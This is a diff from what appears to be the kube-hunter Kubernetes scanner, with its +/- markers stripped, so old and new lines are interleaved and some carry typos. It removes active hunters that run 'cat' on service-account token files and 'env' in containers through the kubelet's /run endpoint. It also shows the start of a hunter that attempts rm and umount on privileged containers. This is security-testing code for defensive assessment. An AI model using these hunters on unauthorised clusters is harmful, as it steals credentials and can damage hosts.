This certificate includes an email address, that may provide additional information for an attacker on your
organization, or be abused for further email based attacks."""
"""Certificate includes an email address"""
def __init__(self, email):
Vulnerability.__init__(
self,
KubernetesCluster,
"Certificate Includes Email Address",
category=GeneralSensitiveInformationTechnique,
vid="KHV021",
self, KubernetesCluster, "Certificate Includes Email Address", category=InformationDisclosure, khv="KHV021",
)
self.email = email
self.evidence = f"email: {self.email}"
self.evidence = "email: {}".format(self.email)
@handler.subscribe(Service)
@@ -45,11 +39,8 @@ class CertificateDiscovery(Hunter):
except ssl.SSLError:
# If the server doesn't offer SSL on this port we won't get a certificate
return
self.examine_certificate(cert)
def examine_certificate(self, cert):
c = cert.strip(ssl.PEM_HEADER).strip("\n").strip(ssl.PEM_FOOTER).strip("\n")
certdata = base64.b64decode(c)
c = cert.strip(ssl.PEM_HEADER).strip(ssl.PEM_FOOTER)
certdata = base64.decodebytes(c)
emails = re.findall(email_pattern, certdata)
for email in emails:
self.publish_event(CertificateEmail(email=email))

View File

@@ -1,16 +1,16 @@
import logging
from packaging import version
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure
from kube_hunter.core.types import (
Hunter,
KubectlClient,
KubernetesCluster,
CVERemoteCodeExecutionCategory,
CVEPrivilegeEscalationCategory,
CVEDenialOfServiceTechnique,
RemoteCodeExec,
PrivilegeEscalation,
DenialOfService,
KubectlClient,
)
from kube_hunter.modules.discovery.kubectl import KubectlClientEvent
@@ -25,7 +25,7 @@ class ServerApiVersionEndPointAccessPE(Vulnerability, Event):
self,
KubernetesCluster,
name="Critical Privilege Escalation CVE",
category=CVEPrivilegeEscalationCategory,
category=PrivilegeEscalation,
vid="KHV022",
)
self.evidence = evidence
@@ -33,14 +33,14 @@ class ServerApiVersionEndPointAccessPE(Vulnerability, Event):
class ServerApiVersionEndPointAccessDos(Vulnerability, Event):
"""Node not patched for CVE-2019-1002100. Depending on your RBAC settings,
a crafted json-patch could cause a Denial of Service."""
a crafted json-patch could cause a Denial of Service."""
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Denial of Service to Kubernetes API Server",
category=CVEDenialOfServiceTechnique,
category=DenialOfService,
vid="KHV023",
)
self.evidence = evidence
@@ -52,11 +52,7 @@ class PingFloodHttp2Implementation(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Possible Ping Flood Attack",
category=CVEDenialOfServiceTechnique,
vid="KHV024",
self, KubernetesCluster, name="Possible Ping Flood Attack", category=DenialOfService, vid="KHV024",
)
self.evidence = evidence
@@ -67,11 +63,7 @@ class ResetFloodHttp2Implementation(Vulnerability, Event):
def __init__(self, evidence):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Possible Reset Flood Attack",
category=CVEDenialOfServiceTechnique,
vid="KHV025",
self, KubernetesCluster, name="Possible Reset Flood Attack", category=DenialOfService, vid="KHV025",
)
self.evidence = evidence
@@ -85,7 +77,7 @@ class ServerApiClusterScopedResourcesAccess(Vulnerability, Event):
self,
KubernetesCluster,
name="Arbitrary Access To Cluster Scoped Resources",
category=CVEPrivilegeEscalationCategory,
category=PrivilegeEscalation,
vid="KHV026",
)
self.evidence = evidence
@@ -97,14 +89,10 @@ class IncompleteFixToKubectlCpVulnerability(Vulnerability, Event):
def __init__(self, binary_version):
Vulnerability.__init__(
self,
KubectlClient,
"Kubectl Vulnerable To CVE-2019-11246",
category=CVERemoteCodeExecutionCategory,
vid="KHV027",
self, KubectlClient, "Kubectl Vulnerable To CVE-2019-11246", category=RemoteCodeExec, vid="KHV027",
)
self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}"
self.evidence = "kubectl version: {}".format(self.binary_version)
class KubectlCpVulnerability(Vulnerability, Event):
@@ -113,21 +101,17 @@ class KubectlCpVulnerability(Vulnerability, Event):
def __init__(self, binary_version):
Vulnerability.__init__(
self,
KubectlClient,
"Kubectl Vulnerable To CVE-2019-1002101",
category=CVERemoteCodeExecutionCategory,
vid="KHV028",
self, KubectlClient, "Kubectl Vulnerable To CVE-2019-1002101", category=RemoteCodeExec, vid="KHV028",
)
self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}"
self.evidence = "kubectl version: {}".format(self.binary_version)
class CveUtils:
@staticmethod
def get_base_release(full_ver):
# if LegacyVersion, converting manually to a base version
if isinstance(full_ver, version.LegacyVersion):
if type(full_ver) == version.LegacyVersion:
return version.parse(".".join(full_ver._version.split(".")[:2]))
return version.parse(".".join(map(str, full_ver._version.release[:2])))
@@ -138,7 +122,7 @@ class CveUtils:
@staticmethod
def to_raw_version(v):
if not isinstance(v, version.LegacyVersion):
if type(v) != version.LegacyVersion:
return ".".join(map(str, v._version.release))
return v._version
@@ -175,7 +159,7 @@ class CveUtils:
# default to classic compare, unless the check_version is legacy.
version_compare_func = CveUtils.basic_compare
if isinstance(check_v, version.LegacyVersion):
if type(check_v) == version.LegacyVersion:
version_compare_func = CveUtils.version_compare
if check_version not in fix_versions:
@@ -186,7 +170,7 @@ class CveUtils:
# if the check version and the current fix has the same base release
if base_check_v == base_fix_v:
# when check_version is legacy, we use a custom compare func, to handle differences between versions
# when check_version is legacy, we use a custom compare func, to handle differences between versions.
if version_compare_func(check_v, fix_v) == -1:
# determine vulnerable if smaller and with same base version
vulnerable = True
@@ -210,7 +194,6 @@ class K8sClusterCveHunter(Hunter):
self.event = event
def execute(self):
config = get_config()
logger.debug(f"Checking known CVEs for k8s API version: {self.event.version}")
cve_mapping = {
ServerApiVersionEndPointAccessPE: ["1.10.11", "1.11.5", "1.12.3"],
@@ -234,7 +217,6 @@ class KubectlCVEHunter(Hunter):
self.event = event
def execute(self):
config = get_config()
cve_mapping = {
KubectlCpVulnerability: ["1.11.9", "1.12.7", "1.13.5", "1.14.0"],
IncompleteFixToKubectlCpVulnerability: ["1.12.9", "1.13.6", "1.14.2"],

View File

@@ -2,8 +2,8 @@ import logging
import json
import requests
from kube_hunter.conf import get_config
from kube_hunter.core.types import Hunter, AccessK8sDashboardTechnique, KubernetesCluster
from kube_hunter.conf import config
from kube_hunter.core.types import Hunter, RemoteCodeExec, KubernetesCluster
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event
from kube_hunter.modules.discovery.dashboard import KubeDashboardEvent
@@ -16,11 +16,7 @@ class DashboardExposed(Vulnerability, Event):
def __init__(self, nodes):
Vulnerability.__init__(
self,
KubernetesCluster,
"Dashboard Exposed",
category=AccessK8sDashboardTechnique,
vid="KHV029",
self, KubernetesCluster, "Dashboard Exposed", category=RemoteCodeExec, vid="KHV029",
)
self.evidence = "nodes: {}".format(" ".join(nodes)) if nodes else None
@@ -35,7 +31,6 @@ class KubeDashboard(Hunter):
self.event = event
def get_nodes(self):
config = get_config()
logger.debug("Passive hunter is attempting to get nodes types of the cluster")
r = requests.get(f"http://{self.event.host}:{self.event.port}/api/v1/node", timeout=config.network_timeout)
if r.status_code == 200 and "nodes" in r.text:

View File

@@ -3,10 +3,10 @@ import logging
from scapy.all import IP, ICMP, UDP, DNS, DNSQR, ARP, Ether, sr1, srp1, srp
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, CoreDNSPoisoningTechnique
from kube_hunter.core.types import ActiveHunter, KubernetesCluster, IdentityTheft
from kube_hunter.modules.hunting.arp import PossibleArpSpoofing
logger = logging.getLogger(__name__)
@@ -18,14 +18,10 @@ class PossibleDnsSpoofing(Vulnerability, Event):
def __init__(self, kubedns_pod_ip):
Vulnerability.__init__(
self,
KubernetesCluster,
"Possible DNS Spoof",
category=CoreDNSPoisoningTechnique,
vid="KHV030",
self, KubernetesCluster, "Possible DNS Spoof", category=IdentityTheft, vid="KHV030",
)
self.kubedns_pod_ip = kubedns_pod_ip
self.evidence = f"kube-dns at: {self.kubedns_pod_ip}"
self.evidence = "kube-dns at: {}".format(self.kubedns_pod_ip)
# Only triggered with RunningAsPod base event
@@ -40,7 +36,6 @@ class DnsSpoofHunter(ActiveHunter):
self.event = event
def get_cbr0_ip_mac(self):
config = get_config()
res = srp1(Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)
return res[IP].src, res.src
@@ -52,7 +47,6 @@ class DnsSpoofHunter(ActiveHunter):
return match.group(1)
def get_kube_dns_ip_mac(self):
config = get_config()
kubedns_svc_ip = self.extract_nameserver_ip()
# getting actual pod ip of kube-dns service, by comparing the src mac of a dns response and arp scanning.
@@ -65,18 +59,15 @@ class DnsSpoofHunter(ActiveHunter):
self_ip = dns_info_res[IP].dst
arp_responses, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
timeout=config.network_timeout,
verbose=0,
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
)
for _, response in arp_responses:
if response[Ether].src == kubedns_pod_mac:
return response[ARP].psrc, response.src
def execute(self):
config = get_config()
logger.debug("Attempting to get kube-dns pod ip")
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()
kubedns = self.get_kube_dns_ip_mac()

View File

@@ -1,17 +1,17 @@
import logging
import requests
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, OpenPortEvent
from kube_hunter.core.types import (
ActiveHunter,
Hunter,
KubernetesCluster,
GeneralSensitiveInformationTechnique,
GeneralPersistenceTechnique,
ListK8sSecretsTechnique,
ExposedSensitiveInterfacesTechnique,
InformationDisclosure,
RemoteCodeExec,
UnauthenticatedAccess,
AccessRisk,
)
logger = logging.getLogger(__name__)
@@ -26,11 +26,7 @@ class EtcdRemoteWriteAccessEvent(Vulnerability, Event):
def __init__(self, write_res):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Etcd Remote Write Access Event",
category=GeneralPersistenceTechnique,
vid="KHV031",
self, KubernetesCluster, name="Etcd Remote Write Access Event", category=RemoteCodeExec, vid="KHV031",
)
self.evidence = write_res
@@ -40,11 +36,7 @@ class EtcdRemoteReadAccessEvent(Vulnerability, Event):
def __init__(self, keys):
Vulnerability.__init__(
self,
KubernetesCluster,
name="Etcd Remote Read Access Event",
category=ListK8sSecretsTechnique,
vid="KHV032",
self, KubernetesCluster, name="Etcd Remote Read Access Event", category=AccessRisk, vid="KHV032",
)
self.evidence = keys
@@ -58,7 +50,7 @@ class EtcdRemoteVersionDisclosureEvent(Vulnerability, Event):
self,
KubernetesCluster,
name="Etcd Remote version disclosure",
category=GeneralSensitiveInformationTechnique,
category=InformationDisclosure,
vid="KHV033",
)
self.evidence = version
@@ -74,7 +66,7 @@ class EtcdAccessEnabledWithoutAuthEvent(Vulnerability, Event):
self,
KubernetesCluster,
name="Etcd is accessible using insecure connection (HTTP)",
category=ExposedSensitiveInterfacesTechnique,
category=UnauthenticatedAccess,
vid="KHV034",
)
self.evidence = version
@@ -89,15 +81,13 @@ class EtcdRemoteAccessActive(ActiveHunter):
def __init__(self, event):
self.event = event
self.write_evidence = ""
self.event.protocol = "https"
def db_keys_write_access(self):
config = get_config()
logger.debug(f"Trying to write keys remotely on host {self.event.host}")
data = {"value": "remotely written data"}
try:
r = requests.post(
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
f"{self.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
data=data,
timeout=config.network_timeout,
)
@@ -122,16 +112,13 @@ class EtcdRemoteAccess(Hunter):
self.event = event
self.version_evidence = ""
self.keys_evidence = ""
self.event.protocol = "https"
self.protocol = "https"
def db_keys_disclosure(self):
config = get_config()
logger.debug(f"{self.event.host} Passive hunter is attempting to read etcd keys remotely")
try:
r = requests.get(
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys",
verify=False,
timeout=config.network_timeout,
f"{self.protocol}://{self.eventhost}:{ETCD_PORT}/v2/keys", verify=False, timeout=config.network_timeout,
)
self.keys_evidence = r.content if r.status_code == 200 and r.content != "" else False
return self.keys_evidence
@@ -139,11 +126,10 @@ class EtcdRemoteAccess(Hunter):
return False
def version_disclosure(self):
config = get_config()
logger.debug(f"Trying to check etcd version remotely at {self.event.host}")
try:
r = requests.get(
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/version",
f"{self.protocol}://{self.event.host}:{ETCD_PORT}/version",
verify=False,
timeout=config.network_timeout,
)
@@ -153,13 +139,10 @@ class EtcdRemoteAccess(Hunter):
return False
def insecure_access(self):
config = get_config()
logger.debug(f"Trying to access etcd insecurely at {self.event.host}")
try:
r = requests.get(
f"http://{self.event.host}:{ETCD_PORT}/version",
verify=False,
timeout=config.network_timeout,
f"http://{self.event.host}:{ETCD_PORT}/version", verify=False, timeout=config.network_timeout,
)
return r.content if r.status_code == 200 and r.content else False
except requests.exceptions.ConnectionError:
@@ -167,10 +150,10 @@ class EtcdRemoteAccess(Hunter):
def execute(self):
if self.insecure_access(): # make a decision between http and https protocol
self.event.protocol = "http"
self.protocol = "http"
if self.version_disclosure():
self.publish_event(EtcdRemoteVersionDisclosureEvent(self.version_evidence))
if self.event.protocol == "http":
if self.protocol == "http":
self.publish_event(EtcdAccessEnabledWithoutAuthEvent(self.version_evidence))
if self.db_keys_disclosure():
self.publish_event(EtcdRemoteReadAccessEvent(self.keys_evidence))

View File

@@ -1,14 +1,12 @@
import json
import logging
import time
from enum import Enum
import re
import requests
import urllib3
import uuid
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure
from kube_hunter.core.types import (
@@ -16,12 +14,9 @@ from kube_hunter.core.types import (
ActiveHunter,
KubernetesCluster,
Kubelet,
ExposedSensitiveInterfacesTechnique,
ExecIntoContainerTechnique,
GeneralDefenseEvasionTechnique,
GeneralSensitiveInformationTechnique,
PrivilegedContainerTechnique,
AccessKubeletAPITechnique,
InformationDisclosure,
RemoteCodeExec,
AccessRisk,
)
from kube_hunter.modules.discovery.kubelet import (
ReadOnlyKubeletEvent,
@@ -32,13 +27,16 @@ logger = logging.getLogger(__name__)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
""" Vulnerabilities """
class ExposedPodsHandler(Vulnerability, Event):
"""An attacker could view sensitive information about pods that are
bound to a Node using the /pods endpoint"""
def __init__(self, pods):
Vulnerability.__init__(
self, component=Kubelet, name="Exposed Pods", category=AccessKubeletAPITechnique, vid="KHV052"
self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure,
)
self.pods = pods
self.evidence = f"count: {len(self.pods)}"
@@ -50,11 +48,7 @@ class AnonymousAuthEnabled(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Anonymous Authentication",
category=ExposedSensitiveInterfacesTechnique,
vid="KHV036",
self, component=Kubelet, name="Anonymous Authentication", category=RemoteCodeExec, vid="KHV036",
)
@@ -63,11 +57,7 @@ class ExposedContainerLogsHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Container Logs",
category=AccessKubeletAPITechnique,
vid="KHV037",
self, component=Kubelet, name="Exposed Container Logs", category=InformationDisclosure, vid="KHV037",
)
@@ -77,14 +67,10 @@ class ExposedRunningPodsHandler(Vulnerability, Event):
def __init__(self, count):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Running Pods",
category=AccessKubeletAPITechnique,
vid="KHV038",
self, component=Kubelet, name="Exposed Running Pods", category=InformationDisclosure, vid="KHV038",
)
self.count = count
self.evidence = f"{self.count} running pods"
self.evidence = "{} running pods".format(self.count)
class ExposedExecHandler(Vulnerability, Event):
@@ -92,11 +78,7 @@ class ExposedExecHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Exec On Container",
category=ExecIntoContainerTechnique,
vid="KHV039",
self, component=Kubelet, name="Exposed Exec On Container", category=RemoteCodeExec, vid="KHV039",
)
@@ -105,11 +87,7 @@ class ExposedRunHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Run Inside Container",
category=ExecIntoContainerTechnique,
vid="KHV040",
self, component=Kubelet, name="Exposed Run Inside Container", category=RemoteCodeExec, vid="KHV040",
)
@@ -118,11 +96,7 @@ class ExposedPortForwardHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Port Forward",
category=GeneralDefenseEvasionTechnique,
vid="KHV041",
self, component=Kubelet, name="Exposed Port Forward", category=RemoteCodeExec, vid="KHV041",
)
@@ -132,11 +106,7 @@ class ExposedAttachHandler(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Attaching To Container",
category=ExecIntoContainerTechnique,
vid="KHV042",
self, component=Kubelet, name="Exposed Attaching To Container", category=RemoteCodeExec, vid="KHV042",
)
@@ -146,43 +116,19 @@ class ExposedHealthzHandler(Vulnerability, Event):
def __init__(self, status):
Vulnerability.__init__(
self,
component=Kubelet,
name="Cluster Health Disclosure",
category=GeneralSensitiveInformationTechnique,
vid="KHV043",
self, component=Kubelet, name="Cluster Health Disclosure", category=InformationDisclosure, vid="KHV043",
)
self.status = status
self.evidence = f"status: {self.status}"
class ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):
"""A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \
can leverage the existing privileged containers identified to damage the host and potentially \
the whole cluster"""
def __init__(self, exposed_existing_privileged_containers):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Exposed Existing Privileged Container(s) Via Secure Kubelet Port",
category=PrivilegedContainerTechnique,
vid="KHV051",
)
self.exposed_existing_privileged_containers = exposed_existing_privileged_containers
class PrivilegedContainers(Vulnerability, Event):
"""A Privileged container exist on a node
could expose the node/cluster to unwanted root operations"""
def __init__(self, containers):
Vulnerability.__init__(
self,
component=KubernetesCluster,
name="Privileged Container",
category=PrivilegedContainerTechnique,
vid="KHV044",
self, component=KubernetesCluster, name="Privileged Container", category=AccessRisk, vid="KHV044",
)
self.containers = containers
self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
@@ -193,11 +139,7 @@ class ExposedSystemLogs(Vulnerability, Event):
def __init__(self):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed System Logs",
category=AccessKubeletAPITechnique,
vid="KHV045",
self, component=Kubelet, name="Exposed System Logs", category=InformationDisclosure, vid="KHV045",
)
@@ -206,11 +148,7 @@ class ExposedKubeletCmdline(Vulnerability, Event):
def __init__(self, cmdline):
Vulnerability.__init__(
self,
component=Kubelet,
name="Exposed Kubelet Cmdline",
category=AccessKubeletAPITechnique,
vid="KHV046",
self, component=Kubelet, name="Exposed Kubelet Cmdline", category=InformationDisclosure, vid="KHV046",
)
self.cmdline = cmdline
self.evidence = f"cmdline: {self.cmdline}"
@@ -249,7 +187,6 @@ class ReadOnlyKubeletPortHunter(Hunter):
self.pods_endpoint_data = ""
def get_k8s_version(self):
config = get_config()
logger.debug("Passive hunter is attempting to find kubernetes version")
metrics = requests.get(f"{self.path}/metrics", timeout=config.network_timeout).text
for line in metrics.split("\n"):
@@ -271,14 +208,12 @@ class ReadOnlyKubeletPortHunter(Hunter):
return privileged_containers if len(privileged_containers) > 0 else None
def get_pods_endpoint(self):
config = get_config()
logger.debug("Attempting to find pods endpoints")
response = requests.get(f"{self.path}/pods", timeout=config.network_timeout)
if "items" in response.text:
return response.json()
def check_healthz_endpoint(self):
config = get_config()
r = requests.get(f"{self.path}/healthz", verify=False, timeout=config.network_timeout)
return r.text if r.status_code == 200 else False
@@ -305,27 +240,23 @@ class SecureKubeletPortHunter(Hunter):
Hunts specific endpoints on an open secured Kubelet
"""
class DebugHandlers:
"""all methods will return the handler name if successful"""
class DebugHandlers(object):
""" all methods will return the handler name if successful """
def __init__(self, path, pod, session=None):
self.path = path + ("/" if not path.endswith("/") else "")
self.path = path
self.session = session if session else requests.Session()
self.pod = pod
# outputs logs from a specific container
def test_container_logs(self):
config = get_config()
logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
pod_namespace=self.pod["namespace"],
pod_id=self.pod["name"],
container_name=self.pod["container"],
pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], container_name=self.pod["container"],
)
return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
# need further investigation on websockets protocol for further implementation
def test_exec_container(self):
config = get_config()
# opens a stream to connect to using a web socket
headers = {"X-Stream-Protocol-Version": "v2.channel.k8s.io"}
exec_url = self.path + KubeletHandlers.EXEC.value.format(
@@ -337,57 +268,43 @@ class SecureKubeletPortHunter(Hunter):
return (
"/cri/exec/"
in self.session.get(
exec_url,
headers=headers,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
exec_url, headers=headers, allow_redirects=False, verify=False, timeout=config.network_timeout,
).text
)
# need further investigation on websockets protocol for further implementation
def test_port_forward(self):
pass
headers = {
"Upgrade": "websocket",
"Connection": "Upgrade",
"Sec-Websocket-Key": "s",
"Sec-Websocket-Version": "13",
"Sec-Websocket-Protocol": "SPDY",
}
pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], port=80,
)
self.session.get(
pf_url, headers=headers, verify=False, stream=True, timeout=config.network_timeout,
).status_code == 200
# TODO: what to return?
# Example starting code:
#
# config = get_config()
# headers = {
# "Upgrade": "websocket",
# "Connection": "Upgrade",
# "Sec-Websocket-Key": "s",
# "Sec-Websocket-Version": "13",
# "Sec-Websocket-Protocol": "SPDY",
# }
# pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
# pod_namespace=self.pod["namespace"],
# pod_id=self.pod["name"],
# port=80,
# )
# executes one command and returns output
def test_run_container(self):
config = get_config()
run_url = self.path + KubeletHandlers.RUN.value.format(
pod_namespace="test",
pod_id="test",
container_name="test",
cmd="",
pod_namespace="test", pod_id="test", container_name="test", cmd="",
)
# if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.
status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code
return status_code == requests.codes.NOT_FOUND
# if we get a Method Not Allowed, we know we passed Authentication and Authorization.
return self.session.get(run_url, verify=False, timeout=config.network_timeout).status_code == 405
# returns list of currently running pods
def test_running_pods(self):
config = get_config()
pods_url = self.path + KubeletHandlers.RUNNINGPODS.value
r = self.session.get(pods_url, verify=False, timeout=config.network_timeout)
return r.json() if r.status_code == 200 else False
# need further investigation on the differences between attach and exec
def test_attach_container(self):
config = get_config()
# headers={"X-Stream-Protocol-Version": "v2.channel.k8s.io"}
attach_url = self.path + KubeletHandlers.ATTACH.value.format(
pod_namespace=self.pod["namespace"],
@@ -398,29 +315,21 @@ class SecureKubeletPortHunter(Hunter):
return (
"/cri/attach/"
in self.session.get(
attach_url,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
attach_url, allow_redirects=False, verify=False, timeout=config.network_timeout,
).text
)
# checks access to logs endpoint
def test_logs_endpoint(self):
config = get_config()
logs_url = self.session.get(
self.path + KubeletHandlers.LOGS.value.format(path=""),
timeout=config.network_timeout,
self.path + KubeletHandlers.LOGS.value.format(path=""), timeout=config.network_timeout,
).text
return "<pre>" in logs_url
# returns the cmd line used to run the kubelet
def test_pprof_cmdline(self):
config = get_config()
cmd = self.session.get(
self.path + KubeletHandlers.PPROF_CMDLINE.value,
verify=False,
timeout=config.network_timeout,
self.path + KubeletHandlers.PPROF_CMDLINE.value, verify=False, timeout=config.network_timeout,
)
return cmd.text if cmd.status_code == 200 else None
@@ -432,7 +341,7 @@ class SecureKubeletPortHunter(Hunter):
# self.session.cert = self.event.client_cert
# copy session to event
self.event.session = self.session
self.path = f"https://{self.event.host}:10250"
self.path = "https://{self.event.host}:10250"
self.kubehunter_pod = {
"name": "kube-hunter",
"namespace": "default",
@@ -441,13 +350,11 @@ class SecureKubeletPortHunter(Hunter):
self.pods_endpoint_data = ""
def get_pods_endpoint(self):
config = get_config()
response = self.session.get(f"{self.path}/pods", verify=False, timeout=config.network_timeout)
if "items" in response.text:
return response.json()
def check_healthz_endpoint(self):
config = get_config()
r = requests.get(f"{self.path}/healthz", verify=False, timeout=config.network_timeout)
return r.text if r.status_code == 200 else False
@@ -464,7 +371,6 @@ class SecureKubeletPortHunter(Hunter):
self.test_handlers()
def test_handlers(self):
config = get_config()
# if kube-hunter runs in a pod, we test with kube-hunter's pod
pod = self.kubehunter_pod if config.pod else self.get_random_pod()
if pod:
@@ -508,7 +414,7 @@ class SecureKubeletPortHunter(Hunter):
pod_data = next(filter(is_kubesystem_pod, pods_data), None)
if pod_data:
container_data = pod_data["spec"]["containers"][0]
container_data = next(pod_data["spec"]["containers"], None)
if container_data:
return {
"name": pod_data["metadata"]["name"],
@@ -517,521 +423,6 @@ class SecureKubeletPortHunter(Hunter):
}
""" Active Hunters """
@handler.subscribe(AnonymousAuthEnabled)
class ProveAnonymousAuth(ActiveHunter):
"""Foothold Via Secure Kubelet Port
Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a
container abusing the configuration of the kubelet's secure port: authentication-auth=false.
"""
def __init__(self, event):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
def get_request(self, url, verify=False):
config = get_config()
try:
response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
def post_request(self, url, params, verify=False):
config = get_config()
try:
response_text = self.event.session.post(
url=url, verify=verify, params=params, timeout=config.network_timeout
).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
@staticmethod
def has_no_exception(result):
return "Exception: " not in result
@staticmethod
def has_no_error(result):
possible_errors = ["exited with", "Operation not permitted", "Permission denied", "No such file or directory"]
return not any(error in result for error in possible_errors)
@staticmethod
def has_no_error_nor_exception(result):
return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
def process_container(self, run_request_url):
service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
environment_variables = self.post_request(run_request_url, {"cmd": "env"})
if self.has_no_error_nor_exception(service_account_token):
return {
"result": True,
"service_account_token": service_account_token,
"environment_variables": environment_variables,
}
return {"result": False}
def execute(self):
pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)
# At this point, the following must happen:
# a) we get the data of the running pods
# b) we get a forbidden message because the API server
# has a configuration that denies anonymous attempts despite the kubelet being vulnerable
if self.has_no_error_nor_exception(pods_raw) and "items" in pods_raw:
pods_data = json.loads(pods_raw)["items"]
temp_message = ""
exposed_existing_privileged_containers = list()
for pod_data in pods_data:
pod_namespace = pod_data["metadata"]["namespace"]
pod_id = pod_data["metadata"]["name"]
for container_data in pod_data["spec"]["containers"]:
container_name = container_data["name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
extracted_data = self.process_container(run_request_url)
if extracted_data["result"]:
service_account_token = extracted_data["service_account_token"]
environment_variables = extracted_data["environment_variables"]
temp_message += (
f"\n\nPod namespace: {pod_namespace}"
+ f"\n\nPod ID: {pod_id}"
+ f"\n\nContainer name: {container_name}"
+ f"\n\nService account token: {service_account_token}"
+ f"\nEnvironment variables: {environment_variables}"
)
first_check = container_data.get("securityContext", {}).get("privileged")
first_subset = container_data.get("securityContext", {})
second_subset = first_subset.get("capabilities", {})
data_for_second_check = second_subset.get("add", [])
second_check = "SYS_ADMIN" in data_for_second_check
if first_check or second_check:
exposed_existing_privileged_containers.append(
{
"pod_namespace": pod_namespace,
"pod_id": pod_id,
"container_name": container_name,
"service_account_token": service_account_token,
"environment_variables": environment_variables,
}
)
if temp_message:
message = "The following containers have been successfully breached." + temp_message
self.event.evidence = f"{message}"
if exposed_existing_privileged_containers:
self.publish_event(
ExposedExistingPrivilegedContainersViaSecureKubeletPort(
exposed_existing_privileged_containers=exposed_existing_privileged_containers
)
)
@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
"""Malicious Intent Via Secure Kubelet Port
Attempts to demonstrate that a malicious actor can leverage existing privileged containers
exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,
such that a process can be started or modified on the host.
"""
def __init__(self, event, seconds_to_wait_for_os_command=1):
self.event = event
self.base_url = f"https://{self.event.host}:10250/"
self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
self.number_of_rm_attempts = 5
self.number_of_rmdir_attempts = 5
self.number_of_umount_attempts = 5
def post_request(self, url, params, verify=False):
config = get_config()
try:
response_text = self.event.session.post(
url, verify, params=params, timeout=config.network_timeout
).text.rstrip()
return response_text
except Exception as ex:
logging.debug("Exception: " + str(ex))
return "Exception: " + str(ex)
def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
def clean_attacked_exposed_existing_privileged_container(
self,
run_request_url,
file_system_or_partition,
directory_created,
file_created,
